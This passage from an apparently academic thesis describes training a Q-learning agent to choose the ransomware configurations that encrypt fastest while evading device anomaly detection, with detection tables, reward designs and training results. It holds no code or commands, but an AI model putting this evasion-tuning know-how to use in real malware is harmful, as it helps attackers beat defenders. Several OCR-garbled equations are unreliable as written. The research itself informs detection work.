1.00 88.39 89.75 0.00 0.00 80.36 80.11 76.75 58
0.99 88.94 91.62 0.62 0.21 80.18 82.05 77.38 50
0.98 85.83 88.50 0.00 0.00 73.57 75.91 65.62 43
0.97 86.44 88.25 0.00 0.00 68.57 69.89 62.38 42
0.96 83.72 88.00 0.00 0.00 56.96 59.32 56.62 40
0.95 83.67 85.62 0.00 0.00 54.29 58.41 52.88 39
0.94 85.72 86.38 0.00 0.00 63.21 69.43 57.12 38
0.93 84.83 86.25 0.00 0.00 61.96 65.91 59.50 37
0.92 82.89 84.38 0.00 0.00 60.00 66.48 56.75 36
0.91 82.56 85.38 0.00 0.00 46.61 55.91 52.00 35
0.90 84.11 88.12 0.00 0.00 68.04 70.91 60.75 34

Table 5.7: AD TNR and FNR of Local Outlier Factor

Threshold ‘ Normal Config 0 Config1 Config2 Config3 Config4 Config5 | Features

Simple Preprocessor
1.00 ‘ 73.89 70.75 0.00 0.00 5.18 20.45 13.75 86

Advanced Preprocessor
1.00 77.94 74.38 0.00 0.00 5.89 20.57 9.12 58
0.99 78.06 72.25 0.00 0.00 5.54 19.77 6.50 50
0.98 77.72 70.62 0.00 0.00 5.00 18.98 4.62 43
0.97 77.78 70.50 0.00 0.00 4.82 18.52 4.75 42
0.96 77.94 70.25 0.00 0.00 4.64 17.84 4.75 40
0.95 77.94 70.25 0.00 0.00 4.64 17.84 4.75 39
0.94 77.61 69.12 0.00 0.00 4.64 16.82 4.75 38
0.93 78.06 68.75 0.00 0.00 4.46 15.80 5.12 37
0.92 78.00 68.38 0.00 0.00 4.29 15.45 5.12 36
0.91 77.72 68.38 0.00 0.00 4.29 14.77 4.50 35
0.90 77.72 70.88 0.00 0.00 5.89 20.00 5.88 34

Table 5.8: AD TNR and FNR of One-Class Support Vector Machine

Threshold ‘ Normal Config 0 Config1 Config2 Config3 Config4 Config 5 | Features

Simple Preprocessor
1.00 ‘ 69.94 68.50 0.00 0.00 5.36 21.70 21.25 86

Advanced Preprocessor
1.00 74.50 70.38 0.00 0.00 6.43 22.50 23.12 58
0.99 74.83 71.25 0.00 0.00 6.79 23.07 22.88 50
0.98 73.11 70.25 0.00 0.00 6.79 22.73 21.88 43
0.97 73.06 70.12 0.00 0.00 6.61 22.73 21.75 42
0.96 72.89 69.50 0.00 0.00 6.43 22.61 21.50 40
0.95 72.89 69.50 0.00 0.00 6.43 22.61 21.50 39
0.94 73.17 70.25 0.00 0.00 6.25 22.73 21.75 38
0.93 73.11 70.25 0.00 0.00 6.25 22.73 21.62 37
0.92 73.50 70.75 0.00 0.00 6.25 22.84 21.62 36
0.91 73.72 70.62 0.00 0.00 6.07 23.18 21.62 35
0.90 73.67 70.75 0.00 0.00 6.25 23.41 21.88 34
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Table 5.9: AD TNR and FNR and Encryption Rates for all Ransomware Configurations

Behavior Detection Rates Encryption Rate (B/s)
Normal Normal: 0.8894, Infected: 0.1106 0

Config 0 | Hidden: 0.9162, Detected: 0.0838 16

Config 1 | Hidden: 0.0062, Detected: 0.9938 565’565.65*
Config 2 | Hidden: 0.0021, Detected: 0.9979 632’834.80*
Config 3 | Hidden: 0.8018, Detected: 0.1982 500

Config 4 | Hidden: 0.8205, Detected: 0.1795 200

Config 5 | Hidden: 0.7738, Detected: 0.2262 200

*technically unlimited, averaged rates collected during encryption

Ultimately, this threshold was selected to slightly improve the AD for normal behavior
while simultaneously improving the chances of infected behavior remaining hidden. By
definition, these are conflicting goals: on the one hand, the AD model should be able to
perfectly classify normal behavior to detect any anomalies in the device behavior from
the defense point of view. On the other hand, in the interest of improving the attack,
infected behavior should be misclassified as normal behavior as often as possible such that
the agent can learn which ransomware configurations lead to hidden attack behavior.

Following the preprocessing of the fingerprints described above, Table 5.9 states the de-
tection rates for normal behavior and per ransomware configuration, including the corre-
sponding encryption rate for each configuration. Considering that the goal of AD is to
detect anomalies in the device behavior, normal behavior is considered a negative and in-
fected behavior a positive result. Accordingly, the metrics for normal behavior encompass
the TNR and the false positive rate (FPR), whereas, for the infected behavior, the FNR,
and the true positive rate (TPR) are shown. The table further lists the number of features
remaining after preprocessing is complete. Given that a correlation threshold of 0.99 was
selected, the resulting fingerprints contain 50 features translated into the proper numeric
form as inputs to the neural network. Accordingly, the dynamically calculated dimen-
sions of the agent’s neural network have been adjusted as well: the input layer now has
50 neurons, the hidden layer has 30 neurons, and the size of the output layer remains the
same as the number of available ransomware configurations.

Introducing Performance Rewards

In addition, this prototype improves on the previous one by modeling time-based per-
formance into the reward computation. To be precise, the performance reward includes
the current encryption rate and distinguishes two separate reward functions for hidden
and detected device behavior, as depicted in Figure 5.8, for example. The primary goal
is to reduce the steps an agent must take to achieve full encryption of the target de-
vice, representing the objective of fast encryption while staying hidden. This objective
is implemented by rewarding an action for its encryption rate depending on the device
behavior it caused. For example, if the ransomware is hidden, a higher encryption rate
should be more favorable than a lower encryption rate. Moreover, if the ransomware
was detected, a lower encryption rate is worse than a higher encryption rate because not
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only did it get detected, but it did not achieve considerable encryption progress either.
Incorporating the encryption rate represents the secondary goal: better distinguishing
ransomware configurations with similar AD rates according to the achieved encryption
progress. By including in the reward computation a time-sensitive aspect based on the
encryption progress achieved with the configured encryption rate, the limitation of the
previous prototype can be addressed and solved.

In the first version of rewarding encryption performance, as shown in Figure 5.8, the
reward for hidden behavior is shaped following the function Rpq(r) = logio(r + 1) + h.
In contrast, for detected behavior, it follows the function Ry (r) = W(‘im) —d. In both
functions, h and d are constants provided at instantiation of the reward system, and r is
the current encryption rate reported by the target device along with the fingerprint. The
constants were chosen as h = 20 and d = 20 for a clear distinction between rewards for
hidden and detected behavior. Suppose the provided fingerprint remains hidden, and the
environment reports the encryption is complete (i.e., the done signal was received from

the target). In that case, a distinct bonus reward of 100 is returned instead.

Although the distinction of rewarding different behavior already worked fine, the rewards
for hidden behavior were densely packed, and individual ransomware configurations could
not be separated as clearly as planned. Therefore, a second version of the performance
reward was implemented, featuring an updated reward function for hidden behavior, as
shown in Figure 5.9. In the new version, rewards for hidden behavior are distributed
following the function Rpq(r) = 10 % In(r + 1) + h. This new function separates the
ransomware configurations’ various encryption rates much better. Meanwhile, the reward
function for detected behavior remains unchanged, but the constants were chosen as h = 0
and d = 20 to avoid impacting the weights in the network with unnecessarily high rewards.

Lastly, a potential third version was developed (see Figure 5.10). It was based on the sec-
ond version but would set the constants to h = 0 and d = 50, thus highly increasing the
difference between rewards for hidden and detected behavior. However, the difference was
too large, and the strongly negative reward would heavily impact any collected positive
rewards. Ultimately, this version was discarded in favor of the second version. Because
the smaller negative reward would cause a more significant error, the weight adjustment
could quickly decrease the Q-values of a favorable action and provoke the agent to select
a different action in the future. This behavior would finally result in a large portion of
Q-values getting stuck at the value zero and, simultaneously, a high variance of rewards
in the results plots. Table 5.10 summarizes the three versions and their respective calcu-
lations of expected average rewards per configuration. In addition, it lists the encryption
performance reward based on the respective results of advanced AD, with the final version
highlighted in gray:.
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Table 5.10: Different Versions of Computing Encryption Performance Reward
Version | Functions Constants | Expected average rewards
vl Hidden: logio(r+ 1)+ h h =20 | Config 0: 0.9162 % 22.230 + 0.0838 * (—21.25) = 18.59
Detected: ﬁ(dn) —d d =20 | Config 1: 0.0062 * 26.752 + 0.9938 x (—20.00) = —19.71
Config 2: 0.0021 % 26.801 4+ 0.9979 * (—20.00) = —19.90
Config 3: 0.8018 % 23.700 4 0.1982 * (—20.04) = 15.03
Config 4: 0.8205 x 23.303 4+ 0.1795 * (—20.10) = 15.51
Config 5: 0.7738 * 23.303 + 0.2262 x (—20.10) = 13.49
v2.1 Hidden: 10 *In(r +1)+h h =0 | Config 0: 0.9162 x 28.332 + 0.0838 * (—21.25) = 24.18
Detected: =t —d d =20 | Config 1: 0.0062 % 132.456 + 0.9938 * (—20.00) = —19.05
Config 2: 0.0021 * 133.580 + 0.9979 * (—20.00) = —19.68
Config 3: 0.8018 * 62.166 + 0.1982 x (—20.04) = 45.87
Config 4: 0.8205 * 53.033 4+ 0.1795 * (—20.10) = 39.91
Config 5: 0.7738 % 53.033 + 0.2262 * (—20.10) = 36.49
v2.2 Hidden: 10*in(r+1) +h h =0 | Config 0: 0.9162 * 28.332 + 0.0838 * (—53.13) = 21.51
Detected: ﬁ(dﬂ) —d d =50 | Config 1: 0.0062 % 132.456 + 0.9938 * (—50.00) = —48.87
Config 2: 0.0021 % 133.580 + 0.9979 * (—50.00) = —49.61
Config 3: 0.8018 % 62.166 + 0.1982 * (—50.10) = 39.91
Config 4: 0.8205 x 53.033 4 0.1795 * (—50.25) = 34.49
Config 5: 0.7738 % 53.033 4 0.2262 * (—50.25) = 29.67

Table 5.11: Accuracy for Prototype Version 3 after 5’000 and 10’000 Episodes with € = 0.5,
0 =0.01, a = 0.0005, v = 0.75

Episodes Configuration Initial Accuracy Trained Accuracy Final Q-Values
Percentage  # Samples | Percentage  # Samples

5000 Config 0 08.39% 235 / 2800 | 90.82% 2543 / 2800 -0
Config 1 08.18% 229 / 2800 | 00.18% 5/ 2800 -0
Config 2 09.00% 252 /2800 | 00.14% 4 / 2800 -0
Config 3 08.57% 240 / 2800 | 01.93% 54 / 2800 -0
Config 4 11.07% 310 / 2800 | 06.71% 188 / 2800 -0
Config 5 54.79% 1534 / 2800 | 00.21% 6 / 2800 -0

10’000 Config 0 08.39% 235 / 2800 | 00.14% 4 / 2800 -0
Config 1 08.18% 229 /2800 | 00.04% 1/ 2800 -0
Config 2 09.00% 252 /2800 | 00.14% 4 / 2800 -0
Config 3 08.57% 240 / 2800 | 00.07% 2 / 2800 -0
Config 4 11.07% 310 / 2800 | 00.14% 4 / 2800 -0
Config 5 54.79% 1534 / 2800 | 99.46% 2785 / 2800 83.18
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Results

The result plots presented in Figure 5.11 result from applying the performance reward
function version 2.1 as listed in Table 5.10. The plots show an apparent change in learned
behavior after approximately 700 episodes. Also, there is visibly high fluctuation regarding
the number of steps per episode, implying that the bonus reward for full encryption (set at
a maximum of 20 steps) is seldomly received because of early detection of supposedly good
behavior. Although many of rewards settled around 40-50, the average lies around 20 due
to a considerable number of negative rewards for detected behavior, even after multiple
thousand episodes.

Figure 5.12 highlights the impacts of replacing the performance reward function version 2.1
with version 2.2, featuring rewards for detected behavior that are more negative. This
version is volatile because the strongly negative reward overcompensates the positive
rewards and leads to the agent frequently switching actions. For example, an action that
is presumed optimal is selected in each step while it has the highest Q-value. However,
the agent will reduce the Q-value of this action upon every detection until, at some point,
the corresponding Q-value is no longer the highest one. Accordingly, the agent would now
favor a different, similarly good action which is not the true optimal one but now has the
highest value estimate. In addition to the instability caused by the reward function, the
plots also show the same fluctuation as in Figure 5.11.

Table 5.11 lists the accuracy of prototype version 3 after training. In the Q-learning
prototype and any following prototype, for that matter, configuration 3 achieves the best
trade-off between a high encryption rate and a high evasion rate, given the AD currently
in use (varies for later prototype versions). This claim is based on the AD rates reported
in Table 5.9 and the resulting rewards of the chosen reward functions v2.1 presented
in Table 5.10. However, the results of the accuracy computation for the first version
of the Q-learning prototype, version 3, indicate that the agent cannot learn the best
configuration in a reasonable time. Analyzing the final Q-values after training indicates
that the agent is suffering from the “dying ReLLU” problem, where the ReLLU activation
function is unable to model the values passing through the network sufficiently. Negative
values are not allowed and represented by the value zero, leading to some neurons and
affected connections dying out. The result is that the agent cannot perform the weight
updates required to avoid predicting non-optimal actions. Typically, it will follow a greedy
policy and predict the first action with the highest Q-value it finds — which in the case of
training for 5’000 episodes is configuration 0, the first configuration in the list, because all
configurations have the same Q-values of zero. In summary, although the agent is learning
to avoid specific configurations, it is unable to find the best configuration.

5.3.2 V4 Artificial Data Corpus

Prototype version 4 mainly focuses on improving the simulation of the environment. The
new simulation is no longer based on a (configurable) fixed number of steps, after which
the episode would terminate (unless detected). Instead, it simulates an artificial data cor-
pus to be encrypted. Each time after collecting the next state, the environment computes
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the amount of data (in bytes) that would have been encrypted, considering the reported
encryption rate (in bytes per second) resulting from taking the last action. The envi-
ronment summarizes the progress over multiple steps and terminates the episode when
surpassing a (configurable) corpus size. The progress increase assumes a step duration of
one second to ease calculating the expected number of steps required to fully encrypt the
corpus at the rate of the known best action.

After a few runs executing the simulation of version 4, it became apparent that the
bonus reward of 100 for full encryption of the target device (i.e., the artificial corpus)
was set too low. The agent would neither sufficiently distinguish the different actions nor
reduce the number of steps required for full encryption because the incentive needed to be
stronger. Instead, given an average reward of around 55 versus a bonus reward of 100, the
agent would be much more likely to take more steps to increase the accumulated reward.
The ratio of steps the bonus reward could replace was too low. Accordingly, prototype
version 4 increases the bonus reward for full encryption from 100 to 1000. This way, given
an expected number of 8 steps for the known best action (configuration 3 with 500 bytes
per second for a corpus of 4000 bytes), the bonus reward has a much higher impact, and
the agent has an increased incentive to achieve full encryption in fewer steps.

Lastly, analysis of the simulations run with prototype version 3 showed a strong tendency
towards ending up with Q-values of zero after only a few episodes and therefore learning
poor behavior. As a reminder: previous prototypes use the ReLU activation function in
their model. When using ReLU, it is likely for the so-called “dying ReLLU problem” to
occur in which small negative values yield an activation of zero that, after propagating
back through the network, results in interconnected neurons “dying out” as their activation
becomes zero as well. One solution to this problem is choosing a different activation
function, such as SiLU [95], listed in Equation 5.6.

fla)=axo() = 17—

y ) . (5.6)
p =o(x)*x (1 +2(l —0o(x))) = 1+ e (4l - 1—1—6*9”))

As pictured in Figure 5.13, SiLLU combines the concepts of ReLU with Logistic activation.
However, in contrast to ReLLU, where all negative values are mapped to zero, SiLLU allows
for small negative values. The resulting curve makes the function completely derivable
and avoids the dying activation.

Results

After making the environment simulation more realistic with prototype version 4, im-
proving the results was a major issue. Therefore, experiments were run to determine
possible improvements by adjusting the model parameters such as the initial e (values
0.1, 0.25, 0.5) or the e-decay 0 (values 0.01, 0.001). Table 5.12 shows the agent’s accuracy
after training for 10’000 episodes with a small exploration probability. Specifically, the
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Figure 5.13: ReLLU and SiLU Activation Functions

Table 5.12: Accuracy for Prototype Version 4 after 10’000 Episodes with e = 0.5, § = 0.01,
a = 0.0005, v =0.75

Configuration Initial Accuracy Trained Accuracy Final Q-Values
Percentage  # Samples | Percentage  # Samples
Config 0 08.39% 235 / 2800 | 00.14% 4 /2800 1.053e+4-02
Config 1 08.18% 229 / 2800 | 00.07% 2 /2800 -2.021e-05
Config 2 09.00% 252 / 2800 | 00.14% 4 /2800 -6.732e-05
Config 3 08.57% 240 / 2800 | 99.46% 2785 / 2800 1.879e+02
Config 4 11.07% 310 / 2800 | 00.11% 3/ 2800 9.475e+01
Config 5 54.79% 1534 / 2800 | 00.07% 2 / 2800 9.601e+01

table shows that the agent correctly learns to follow configuration 3, the best available
configuration.

The corresponding result plots, such as the plots in Figure 5.14, indicate problems with
the current implementation. The plots show no sign of reduced exploration by degrading
€ throughout several thousand episodes. The number of steps taken in an episode is not
converging, nor is the average reward collected in an episode, i.e., sum of all rewards
divided by the number of steps. Expected results would include the agent taking eight
steps and receiving summed rewards of roughly 1435 (configuration 3 rewards 62.166 and
is taken seven times, whereas the last step, number 8 for configuration 3, is rewarded with
a bonus of 1000 for full encryption) with a corresponding average reward of roughly 179.
As can be seen in Figures 5.15 to 5.17, this does not change with different parameters
and more training time. Even for 20’000 episodes, the trends remain unchanged (see
Figures 5.18 and 5.19).
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Figure 5.14: Result Plots for Prototype Version 4 over 5’000 Episodes with ¢ = 0.25,
0 =0.01, a = 0.0005, v = 0.75
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Figure 5.18: Result Plots for Prototype Version 4 over 20’000 Episodes with ¢ = 0.5,
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Further analysis of the accuracy computation for prototype version 4 (see Table 5.12
above) verified that the agent is learning the best configuration 3 for the current setup, as
the accuracy and corresponding final Q-values clearly show. Nevertheless, the correctly
learned behavior is not visible in the plots. The reason was assumed to be too high
exploration, yet the exploration was significantly reduced with € ~ 0.0049 and could not
be the leading cause. However, the high number of negative rewards in later episodes of
the run was a telling sign that there was an issue with the AD used for computing the
rewards. The fluctuation in the AD, i.e., detection rates for configuration 3 of 80.18% for
staying hidden (the FNR) and 19.82% for being detected (the TPR), directly interfered
with the rewards: while the agent already learned that the optimal choice of action was
configuration 3, in roughly 20% of decisions, it would nonetheless receive a negative reward
for it, without having changed anything.

Another possible reason was presented when comparing the average rewards in the plots
with the expected average rewards as calculated in Table 5.10 (performance reward v2.1).
Many rewards are bundled around the value of 50 very early on, meaning that the best
configuration was found and used. Regardless, the episode was prematurely terminated
with a negative reward: (7 * 62.166 — 20.04)/8 = 51.89. However, the EMA of the
average rewards settles in between 25 and 30, indicating a high number of negative rewards
impacting the EMA. Overall, the described observations suggest the fluctuation of the
AD to be the problem because, even though the agent learns the best action, repeatedly
applying the best action has a high chance of resulting in a negative reward — although
nothing changed that would indicate it no longer being a good action.

5.3.3 V5 Ideal Anomaly Detection

Based on the observations made in version 4, prototype version 5 introduced the ideal AD
in the reward computation, which would not use the AD model but manually determine
the detection of an action (based on prior knowledge of the expected reward calculations)
and thus consistently reward it with the same value. The manual reward computation
was designed with the expectation that avoiding the fluctuation caused by the AD would
eventually lead to the average rewards approximating their actual expected average.

This new prototype version 5 adjusts the previous Q-learning algorithm by replacing the
performance reward calculation with a modified version. It no longer uses the anomaly
detection module to determine which reward function to use and does not compute the
reward based on the next state. Instead, the computation is based on the predicted
action: The reward system compares it against a hard-coded set of actions that will be
detected in any case and uses the result to select the appropriate reward function. The
implementation of the reward functions remained unchanged and is identical to those
in v2.1, as described in Subsection 5.3.1 (cf. Figure 5.9).

Table 5.13 lists the details of the manual calculation of performance rewards as an ex-
tension of Table 5.10. The fixed set of hidden actions corresponds to configurations 0, 3,
4, and 5, while actions corresponding to configurations 1 and 2 will always be detected.
This choice was made based on the detection rates in Table 5.9, where configurations 1
and 2 are almost always detected and thus clearly separated from the others.
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Table 5.13: Manual Function Selection in Encryption Performance Reward

Version | Functions Constants | Expected average rewards
v3 Hidden: 10 In(r+ 1)+ h h =0 | Config 0: 1.0 *28.332 + 0.0 % (—21.25) = 28.33
Detected: =t —d d =20 | Config 1: 0.0 * 132.456 + 1.0 * (—20.00) = —20.00
Config 2: 0.0 % 133.580 + 1.0 % (—20.00) = —20.00
Config 3: 1.0 % 62.166 + 0.0 * (—20.04) = 62.17
Config 4: 1.0 * 53.033 4 0.0 % (—20.10) = 53.03
Config 5: 1.0 * 53.033 4 0.0 % (—20.10) = 53.03
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Table 5.14: Accuracy for Prototype Version 5 after 10’000 Episodes with € = 0.5, § = 0.01,

a = 0.0005, v = 0.75

Configuration Initial Accuracy Trained Accuracy Final Q-Values
Percentage  # Samples | Percentage  # Samples
Config 0 08.39% 235 / 2800 | 00.04% 1 /2800 1.463e+-02
Config 1 08.18% 229 / 2800 | 00.14% 4 /2800 -1.279¢-04
Config 2 09.00% 252 / 2800 | 00.11% 3 /2800 -1.250e-04
Config 3 08.57% 240 / 2800 | 99.57% 2788 / 2800 5.202+02
Config 4 11.07% 310 / 2800 | 00.07% 2 / 2800 1.481e+02
Config 5 54.79% 1534 / 2800 | 00.07% 2 / 2800 1.448e+02
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Results

The result plots of Figure 5.20 show the effects of the manual detection and the resulting
consistency: the exploration decay is visible by the few low rewards, the rewards converge
around 1435, and the number of detected actions is significantly reduced in comparison to
Figure 5.14. Furthermore, the results mentioned above are also represented in the accuracy
computation for the ideal AD run visible in Table 5.14 since this run featured the same
parameters € = 0.5, = 0.01,« = 0.0005,~ = 0.75 as the previous run for version 4 did.
Overall, these results match the expected learning behavior much more closely.

5.3.4 V98 Single-Step Episodes

There exists a prototype version 98 that was separated from the other versions as it did
not directly contribute to the development. It is worth mentioning, nonetheless, as it
explored the relationship between individual steps within a single episode.

As such, this version is based on prototype version 5 with the ideal AD performance reward
described in Subsection 5.3.3. Version 98 modifies the base version in that it takes exactly
one step and then terminates the episode. Specifically, it receives the initial fingerprint
and transforms it into the starting state. Then, it predicts the best action according
to the same e-greedy policy used in the other Q-learning versions, takes the predicted
action, and observes the reward and next state presented by the environment. Since this
version also implements the Q-learning algorithm, it predicts the following best action
from the observed next state. It uses this prediction with the previously received reward
to estimate the prediction error and update the neural network weights. After the weight
update, the Controller terminates the episode and adjusts its organizational parameters,
like decaying the e according to the defined decay parameter ¢ following Equation 5.5.
Similar to the previously introduced versions, there is a configurable number of episodes,
i.e., steps that the agent performs during its training.

Results

When examining the distribution of rewards for version 5, shown in Figure 5.20 above, the
individual rewards per step cannot be derived from the average rewards directly because
it may include the portion of the bonus reward received for full encryption with the last
step. Therefore, the focus lies on the cumulated rewards converging at roughly 1435. In
a perfect episode, the agent would always select configuration 3. Given the corresponding
encryption rate of 500 bytes per second and a corpus size of 4000 bytes when executed in
simulation, the agent must take eight steps to reach full encryption. Therefore, it would
receive the performance reward seven times and the bonus reward for the final step just
once. Accordingly, the rewards would correspond to 7x62.166+1+1000 = 1435.162. Those
episodes receiving slightly higher total rewards replaced steps where configuration 3 would
have been selected with multiple steps selecting any of configurations 0, 4, or 5 (as those
have the higher chances of remaining undetected than the very aggressive configurations
1 and 2), most likely due to the initially higher exploration probability. Accordingly, the
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Figure 5.21: Result Plots for Prototype Version 98 over 80’000 Steps with ¢ = 0.5,
0 =0.01, a = 0.0005, v = 0.75

Table 5.15: Accuracy for Prototype Version 98 after 80’000 Steps with ¢ = 0.5, § = 0.01,
a = 0.0005, v = 0.75

Configuration Initial Accuracy Trained Accuracy Final Q-Values
Percentage  # Samples | Percentage  # Samples
Config 0 08.39% 235 / 2800 | 00.04% 1 /2800 94.94
Config 1 08.18% 229 / 2800 | 00.00% 0 / 2800 49.95
Config 2 09.00% 252 / 2800 | 00.00% 0 / 2800 61.08
Config 3 08.57% 240 / 2800 | 99.93% 2798 / 2800 249.08
Config 4 11.07% 310 / 2800 | 00.04% 1 /2800 124.83
Config 5 54.79% 1534 / 2800 | 00.00% 0 / 2800 115.82

individual reward per step corresponds to what the reward function returns and averages
to something between 53.033 and 62.166, depending on the distribution of episodes with
mixed configurations.

When transferring this knowledge to the results plots of version 98 (cf. Figure 5.21),
it becomes evident that the agent learned to follow configuration 3 early on, similar to
version 5. Notably, the plot ranges over 80’000 episodes (i.e., steps in this case), equivalent
to 10’000 episodes of eight steps each as applied in the previous prototype versions. The
plots also clearly show the impacts of exploration, identifiable as the negative rewards and
the few rewards resulting from choosing configurations 0 and either 4 or 5. Given that
the exploration probability is decayed after every step, the number of negative rewards
decreases very quickly, as does the number of predictions for configurations other than
configuration 3. The plots for the average rewards and number of steps per episode have
been removed from Figure 5.21 because every episode takes precisely one step, and, thus,
it does not make sense to calculate the average. The claim that the agent is learning to
follow configuration 3 can be verified using Table 5.15. Configuration 3 has unrivaled the
highest accuracy among all available configurations.

5.3.5 Prototype Evaluation

The Q-learning prototype encapsulates the main developments and findings, spread over
multiple prototype versions. Here, the findings are analyzed by topic instead of by version
since multiple versions may be affected, for example, regarding AD or the number of steps
per episode. Also, version 5 is considered the final version of this prototype. Therefore, it is
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the target of multiple experiments trying to improve the overall performance by evaluating
which aspects of the underlying RL require what changes. Ultimately, combining all
findings yields the optimized and final prototype as described in Section 5.5.

AD Performance

In simple preprocessing, the IF was the model used in AD to produce the best results
among the three selected models (listed in Table 5.2). Again, for the advanced prepro-
cessor, IF also produces the best results with 88.94% on a correlation threshold of 0.99
as shown in Tables 5.6 to 5.8. Interestingly, however, infected behavior belonging to
ransomware configuration zero is classified as benign more often than the actual normal
behavior. Dropping the additional features in the advanced preprocessing apparently
removed features that allowed better distinguishing these two forms of device behavior.
Accordingly, when new ransomware configurations were to be introduced that more closely
correlate to normal behavior based on stricter limitations of the encryption process, the
selection of features to be dropped in the fingerprint preprocessing should be revisited
and potentially adjusted. Given the still not optimal classification of normal behavior,
one possible alternative to achieve a reduced state space could be to evaluate a more
complex model to be used in AD, such as principal component analysis (PCA) [96] or
auto-encoders [97]. The viability of auto-encoders to model device behavioral fingerprints
was already established by [98] and might be worth investigating further in this context.

Controlling the Number of Steps

The resulting plot for version 98 (Figure 5.21) is very similar to version 5 (Figure 5.20),
indicating that there likely is no strong relation between steps within an episode given
the presented problem setting and environment setup. This discovery might also work
together with the surprising results for adjusting the discount factor, which contradict
the theory and expectations introduced at the end of Section 2.4. Naturally, if there is
no clear relation between steps, then there is no specific order in taking steps that the
agent would try to optimize. Under these circumstances, every step can be viewed as an
individual instance of the decision problem unrelated to what has happened in the past
and only partially related to what will happen in the future — at least as far as the ordering
goes; behavior detection is still related and relevant, of course. Accordingly, discounting
the value of future steps does not make sense and it is not surprising that the model seems
to perform best with low or no discounting. Moreover, the impacts of AD and Q-value
estimation tend to overrule the effects of discounting, as described below in the evaluation
of model changes for the discount factor.

Impacts of Model Changes

Based on the assumption of an ideal AD being used in prototype version 5 for better
visualization of resulting effects, the goal was to improve the overall performance by
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adjusting several aspects of the model. Among the adjustable aspects of the RL model
were the following:

1. The parameters for initial exploration €, e-decay, learning rate, and discount factor
2. The number of hidden neurons in the second layer of the neural network

3. The activation functions used in the forward and backward pass of the neural net-
work

4. The specific method used for weight initialization in the network instantiation phase

The baseline is represented by training prototype version 5 four times for 10’000 episodes
with exploration ¢ = 0.25, decay 6 = 0.01, learning rate o = 0.0005, discount factor
~v = 0.75, logistic activation followed by SiLLU activation, 30 hidden neurons in the second
layer, and Xavier weight initialization. The known best action for the baseline configura-
tion is action 3, corresponding to ransomware configuration 3, based on the calculation of
the expected average reward described in Table 5.10. The following subsections discuss
each adjustment’s different impacts on the overall performance. For every adjustment, all
other aspects remain unchanged, as described before, to isolate the effects of the change
on the results.

Exploration vs. Exploitation. Comparing the performance results for runs with different
exploration settings listed in Table 5.16 shows that the exploration does not significantly
impact the training duration, as most values for the average training time are quite sim-
ilar. Instead, the impact of the exploration settings manifests in the final accuracy and
certainty — especially with faster e-decay for 6 = 0.001 — as well as the time required
to find the optimal configuration. The table lists the average training time (ATT) in
minutes, the accuracy after training (Acc), the number of episodes (Eps) required to find
configuration 3 (if applicable), and the average Q-value difference (AQD) of configura-
tion 3 to configurations 4 and 5. These metrics are shared across all tables used in the
evaluation of the impacts of model changes and evaluations of prototypes presented later
in this work.

The best setting [e = 0.4,0 = 0.01] has the highest performance considering the trade-off
for exploration and exploitation. First, the variants with slower decay § = 0.01 in the
upper half of Table 5.16 are compared. Among those, one of the initially used settings in
evaluating the prototypes, [e = 0.25, = 0.01], finds the best configuration almost imme-
diately and has a faster convergence towards it (i.e., higher exploitation of the currently
best action) with less noise caused by the exploration in comparison to the best setting.
However, the reduced noise comes at the cost of requiring noticeably longer training time
and yielding lower accuracy after training. Furthermore, the 150 episodes the optimal
setting takes to find the best configuration are insignificant compared to other variants,
and the exploration noise is still low — while having some noise is desirable in certain
situations to gain new insights and avoid getting stuck with a non-optimal configuration.

Second, among the variants with faster decay o = 0.001 in the lower half of the table, the
settings [e = 0.2, = 0.001] and [e = 0.3,6 = 0.001] find the best configuration after a
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Table 5.16: Performance Analysis of Accuracy and Speed for Different Exploration Set-
tings
Settings ATT Acc Eps AQD

e =0.10,0 = 0.01 | 543.8 99.96% 4’000 410
e=0.20,0 =0.01 | 4629 99.89% 1500 404
e=0.254=0.01 | 395.1 99.75% < 50 414*
e=0.30,6 =0.01 | 317.6 99.89% 200 391
e=0.40,6 =0.01 | 313.4 99.89% 150  365*
e=0.50,0 =0.01 | 393.2 99.57% <50 375
e =0.10,6 = 0.001 | 331.0 99.29% 600  322*
e =0.20,5 = 0.001 | 304.6* 98.72% 250 302
€=0.25,0 =0.001 | 349.6 98.36% < 50 264*
€=0.30,0 =0.001 | 294.0 97.86% 200  248*
e =0.40,5 =0.001 | 286.9 97.64% 300 240
e =0.50,0 =0.001 | 337.3 96.43% <50 201*
*one outlier, average of rest

low number of episodes and require a shorter average training period overall. Although
e = 0.2,0 = 0.001] is slower than [e = 0.3,6 = 0.001] and requires, on average, 250
episodes to find configuration 3, [¢ = 0.2,5 = 0.001] has the higher accuracy and more
significant distinction of configuration 3 from configurations 4 and 5 while only taking
about 10 minutes longer for training than [¢ = 0.3, = 0.001] and being roughly 40
minutes faster than [¢ = 0.25,0 = 0.001] (another setting originally used for version
evaluation).

[e = 0.2,6 = 0.001] does not directly compare to [e = 0.4,0 = 0.01] because [e = 0.2,
9 = 0.001] introduces much more exploration noise and, thus, has significantly slower
convergence. Moreover, [e = 0.4, = 0.01] finds configuration 3 faster but takes about
8 minutes longer. However, since it belongs to the faster variants with 313.4 minutes
of average training time, the additional 8 minutes are deemed less important than a
faster convergence. Hence, [¢ = 0.4, = 0.01] is considered the best variant of different
exploration settings.

Learning Rate. In contrast to the exploration settings, adjusting the learning rate causes
significant differences in the average training time. Although a more fine-grained search
of the best learning rate would have been possible, it was deemed infeasible and approxi-
mated with rough estimates given the vast (technically infinite) value space.

Among the results in Table 5.17 that found the best configuration, only those in the
range « € [0.0010,0.0100] are of interest due to the number of episodes required to find
it. The variant a = 0.0050 is the fastest considering the average training time and
only requires 100 episodes to find and follow the best configuration. Although other
variants with a higher learning rate require slightly fewer episodes to find configuration 3,
the variant o = 0.0050 finishes with a higher accuracy. However, it trades the speed
against distinction capabilities as the Q-values for configuration 3 are very close to those of
configurations 4 and 5. Nevertheless, given the presented selection of variants, o = 0.0050
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Table 5.17: Performance Analysis of Accuracy and Speed for Different Learning Rates

Settings ATT Acc Eps AQD
a=0.0001 | 934.5 00.00% - -209
a=0.0005 | 543.8 99.96% 4’000 410
a=0.0010 | 329.6 99.84% 500  265*
a = 0.0050 | 303.1* 99.93% 100 59%
a=0.0100 | 307.2 99.82% < 50 48
a =0.1000 | 309.0* 99.93% < 50 70
a =0.5000 | 35.6% 00.04% - 0
a=0.9000 | 52.6% 00.01%* - 0
*one outlier, average of rest

is considered the best approximation of the optimal setting due to its clear advantage in
speed and accuracy.

Discount Factor. According to the performance results listed in Table 5.18, there seems
to exist a correlation between the discount factor, the average training time, the number
of episodes to find the best configuration, and the average difference in Q-values of config-
